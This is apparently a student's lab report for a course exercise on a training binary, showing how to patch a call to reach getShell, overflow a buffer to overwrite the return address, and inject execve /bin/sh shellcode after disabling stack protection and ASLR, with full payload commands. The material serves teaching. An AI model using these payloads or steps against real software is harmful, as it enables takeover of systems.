20155339平措卓玛 Exp1 PC平台逆向破解(5)M

实践内容

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

基础知识

一、掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

  • NOP:NOP是英语“No Operation”的缩写。NOP无操作数,所以称为“空操作”。执行NOP指令只使程序计数器PC加1,所以占用一个机器周期。机器码是“90”。
  • JNE:条件转移指令 转移的条件是ne,即不相等(等价于 不等于零)机器码是“75”。
  • JE:JE是汇编语言中的一个条件转移指令。机器码是“74”。
  • JMP:无条件转移。机器码:“eb"。
  • CMP:指令进行比较两个操作数的大小。机器码是“39”。

二、掌握反汇编与十六进制编程器

  • 反汇编命令为objdump,加上不同的参数有不同的功能:

    1.-d:将代码反汇编;

    2.-S:将代码段反汇编的同时,将反汇编代码和源代码交替显示,编译时需要给出-g,即需要调试信息。

    3.-C:将C++符号名逆向解析。

    4.-l:反汇编代码中插入源代码的文件名和行号。

    5.-j section:仅反汇编指定的section。可以有多个-j参数来选择多个section。

    用编与十六进制编程器**

  • 反汇编命令为objdump -d对pwn1进行反汇编:

  • 十六进制编辑器:

    1.vi打开文件

    2.按esc键,然后输入:%!xxd,这样就将显示切换为十六进制了。

3.完成编辑后,输入:%!xxd -r转换为原格式。

三、能正确修改机器指令改变程序执行流程

见实验一。

四、能正确构造payload进行bof攻击

见实验三。

实验内容

实验一

一、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

  • 用反汇编指令,对目标文件进行反汇编,命令为:

    objdump -d pwn120155339

  • 我们要使得main函数调用getShell,就要看在哪里调用它,根据对反汇编结果的分析,发现call的是foo函数的地址,那么说明main函数调用了foo函数,对应的机器码是e8 d7ffffff,现在分析d7ffffff是怎么来的,首先现在的eip值应该是下一条指令的地址,80484ba,foo函数的地址是8048491,那么必然就是这两个值加或者减获得了d7ffffff,经验证foo函数的地址-80484ba的补码就是d7ffffff,现在我们只需修改d7ffffff为getShell-80484ba对应的补码就可以了。

  • 在这之前先备份,cp pwn120155339 pwn220155339

  • 进行修改vi pwn220155339,修改步骤如下:

    1.按ESC键。

    2.以16进制模式显示:%!xxd

    3.查找要修改的内容:/e8d7

    4.修改d7为c3

    5.转换16进制为原格式:%!xxd -r

    6.退出:wq

  • 验证实验,运行pwn220155339以及原文件pwn120155339,得到如下结果

  • 最后可以反汇编看看main函数是不是真的调用了getShell,call指令后面的地址是不是getShell的地址,若是,至此实验一成功。

实验二

二、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

  • 进行反汇编,分析程序有什么漏洞。

  • 通过分析可以知道该程序在foo函数中有读入字符串,但是只预留了一定字节数的空间,那么超出部分就会造成溢出有Buffer overflow漏洞,借助缓冲区溢出的攻击原理,我们需要的就是覆盖返回地址。那么我们需要知道输入字符串哪几个字符会覆盖返回地址。

  • 进行gdb调试,输入一段较长的数字,我这里选取的是1111111122222222333333334444444455555555,用info r 命令查看此时是否缓冲区溢出,由下图可知道此时的eip寄存器所存储的值是0x35是5的ASCII 值,所以可以知道,此时该字符串中的某个5开始便缓冲区溢出了。

  • 进一步实验,将输入的字符改为可以判断从哪个5开始缓冲区溢出的字符,我选择输入1111111122222222333333334444444412345678,再次查看eip寄存器的值,如下图,可以发现 1234四个数最终会覆盖到堆栈上的返回地址,所以只要把这四个字替换为getShell 的内存地址,输给pwn120155339,pwn120155339就会运行getShell。

  • 用getshell的地址0x0804847d替换输入字符串的1234,又因为是计算机是小端的,所以\x7d\x84\x04\x08代替我们输入的字符串的1234,即用它来覆盖返回地址。

  • 将一组字符串输入到input文件中,这组字符串应该满足这样一个条件,第33-36个字符为用getshell的地址的小端法表示,然后再加一个回车即\x0a,并将其通过管道符“|”作为pwn120155339的输入字符串运行,如下图。

  • 可以看到,程序获取了shell并且成功执行了ls命令。

实验三

三、注入一个自己制作的shellcode并运行这段shellcode。

  • 准备工作:

    1.首先用execstack -s pwn120155339设置堆栈可执行。

    2.execstack -q pwn120155339查询文件的堆栈是否可执行。

    3.more /proc/sys/kernel/randomize_va_space

    4.echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化>。

    5.more /proc/sys/kernel/randomize_va_space

  • 由于缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边,并且我们的buf足够大,因此放到前面。

  • 我们使用的shellcode是perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode,其中注意最后不能使回车\x0a

  • 接下来确定这段shellcode的地址来更换\x4\x3\x2\x1。打开一个终端注入这段攻击buf。

  • 打开另一个终端,用gdb来调试该进程。这之前用 ps -ef | grep pwn120155339来找到到该进程的进程号,由下图可知为2575。

  • 开始gdb调试。

  • attach 2575来与进程进行连接。

  • 设置断点,来查看注入buf的内存地址disassemble foo,查看ret的地址,段在该处,ret完就会跳到我们覆盖的retaddr处break *0x080484ae

  • 另一个终端中回车,以将注入的buf作为输入。

  • c(Continuing);

  • info r esp查看esp寄存器的值

  • shellcode挨着01020304,所以地址是0xffffd310。

  • 因此注入

    perl -e 'print "A" x 32;print "\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

  • 使用16进制查看指令xxd查看input_shellcode文件的内容是否如预期,若没有错误,则将其作为输入运行。

  • 获得了shell,实验完成。

遇到的问题


# # deb cdrom:[Debian GNU/Linux 2018.1 _Kali-rolling_ - Official Snapshot amd64 LIVE/INSTALL Binary 20180126-21:23]/ kali-last-snapshot contrib main non-free #deb cdrom:[Debian GNU/Linux 2018.1 _Kali-rolling_ - Official Snapshot amd64 LIVE/INSTALL Binary 20180126-21:23]/ kali-last-snapshot contrib main non-free #kali官方源 deb http://http.kali.org/kali kali-rolling main non-free contrib #中科大的源 deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb http://mirrors.ustc.edu.cn/kali kali-rolling main contrib non-free deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main contrib non-free deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free #阿里云源
deb http://mirrors.aliyun.com/kali sana main non-free contrib
deb http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free deb-src http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free
#
deb http://ppa.launchpad.net/hzwhuang/ss-qt5/ubuntu xenial main

问题解决。

  • 问题二:在最后一个实验中,每次都是断错误。
  • 解决方法:重新阅读老师的教程,发现自己,没有关闭地址随机化、开启了堆栈保护,开启了堆栈执行保护,而在这种情况下用这种方法就不会成功,所以做了这些准备工作再次尝试终于成功。

20155339平措卓玛 Exp1 PC平台逆向破解(5)M的更多相关文章

  1. 20155339平措卓玛 Exp2 后门原理与实践

    20155339平措卓玛Exp2 后门原理与实践 基础问题 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:下载并安装某个程序,这个程序可以正常的并且完整的为我们提供服务,但是在开发改程序 ...

  2. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  3. 2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解

    2018-2019-2 20165237<网络攻防技术>Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调 ...

  4. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  5. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  6. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  7. Exp1 PC平台逆向破解 20165235 祁瑛

    Exp1 PC平台逆向破解 20165235 祁瑛 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...

  8. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

  9. 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...

随机推荐

  1. 存折打印机测量和毫米方式Form配置说明

    一.打印一把尺子(单位:mm) 存折打印机测试程序:D:\Inspur\InspXfs\Bin\InspPassbook\NuDevPassbookTest.exe .) 二.测量存折(横向和纵向) ...

  2. Spring学习笔记(一):快速入门

    Spring简介:        Spring是一个开源框架,它由Rod Johnson创建.它是为了解决企业应用开发的复杂性而创建的.Spring使用基本的JavaBean来完成以前只可能由EJB完 ...

  3. SQLSERVER中的LOB页面简单研究

    SQLSERVER中的LOB页面简单研究 这篇文章和我另一篇文章是相辅相成的,在看<SQLSERVER2012 列存储索引的简单研究和测试>这篇文章之前希望大家先看一下这篇文章o(∩_∩) ...

  4. 使用 Chef 自动执行 Azure 虚拟机部署

    Chef 是一个强大的工具,用于提供自动化和所需的状态配置. 使用我们的最新 cloud-api 版本,Chef 提供了与 Azure 的无缝集成,使得你能够通过单个命令设置和部署配置状态. 在本文中 ...

  5. 基元用户模式构造--互锁构造 Interlocked 实现的异步web请求实例

    using System; using System.Collections.Generic; using System.Linq; using System.Net.Http; using Syst ...

  6. chromedriver与chrome各版本及下载地址

    Selenium从2升级到3之后呢,Selenium 3 相较于2最大的变化就是更加的标准化,可以支持更多的浏览器.那我们做自动化的时候如果用的是selenium3的话,首先要坐的就是下载不同浏览器的 ...

  7. Remove Rar Password OnLine

    How to Remove Rar passwords without any software : One of the most frustrating thing in our digital ...

  8. SendMessage,BroadcastMessage

    三者比较 用于向某个GameObject发送一条信息,让它完成特定功能.其实本质是调用绑定GameObject里面的Script里面的函数,可以跨语言的,例如Javascript可以调用C#的函数,我 ...

  9. 快速开发QCombox以及业务样式自定义

    这是我在项目实战中的个人总结,写的仓促,有些东西也不一定准确,有些是自己推断的,还希望各位多多指教,多多评论. 关于QCombox如果不需要自定义,其实写UI是很简单的. 创建实例:QComboBox ...

  10. How to Be Assertive Asking for What You Want Firmly and Fairly

    What Is Assertiveness? It's not always easy to identify truly assertive behavior. This is because th ...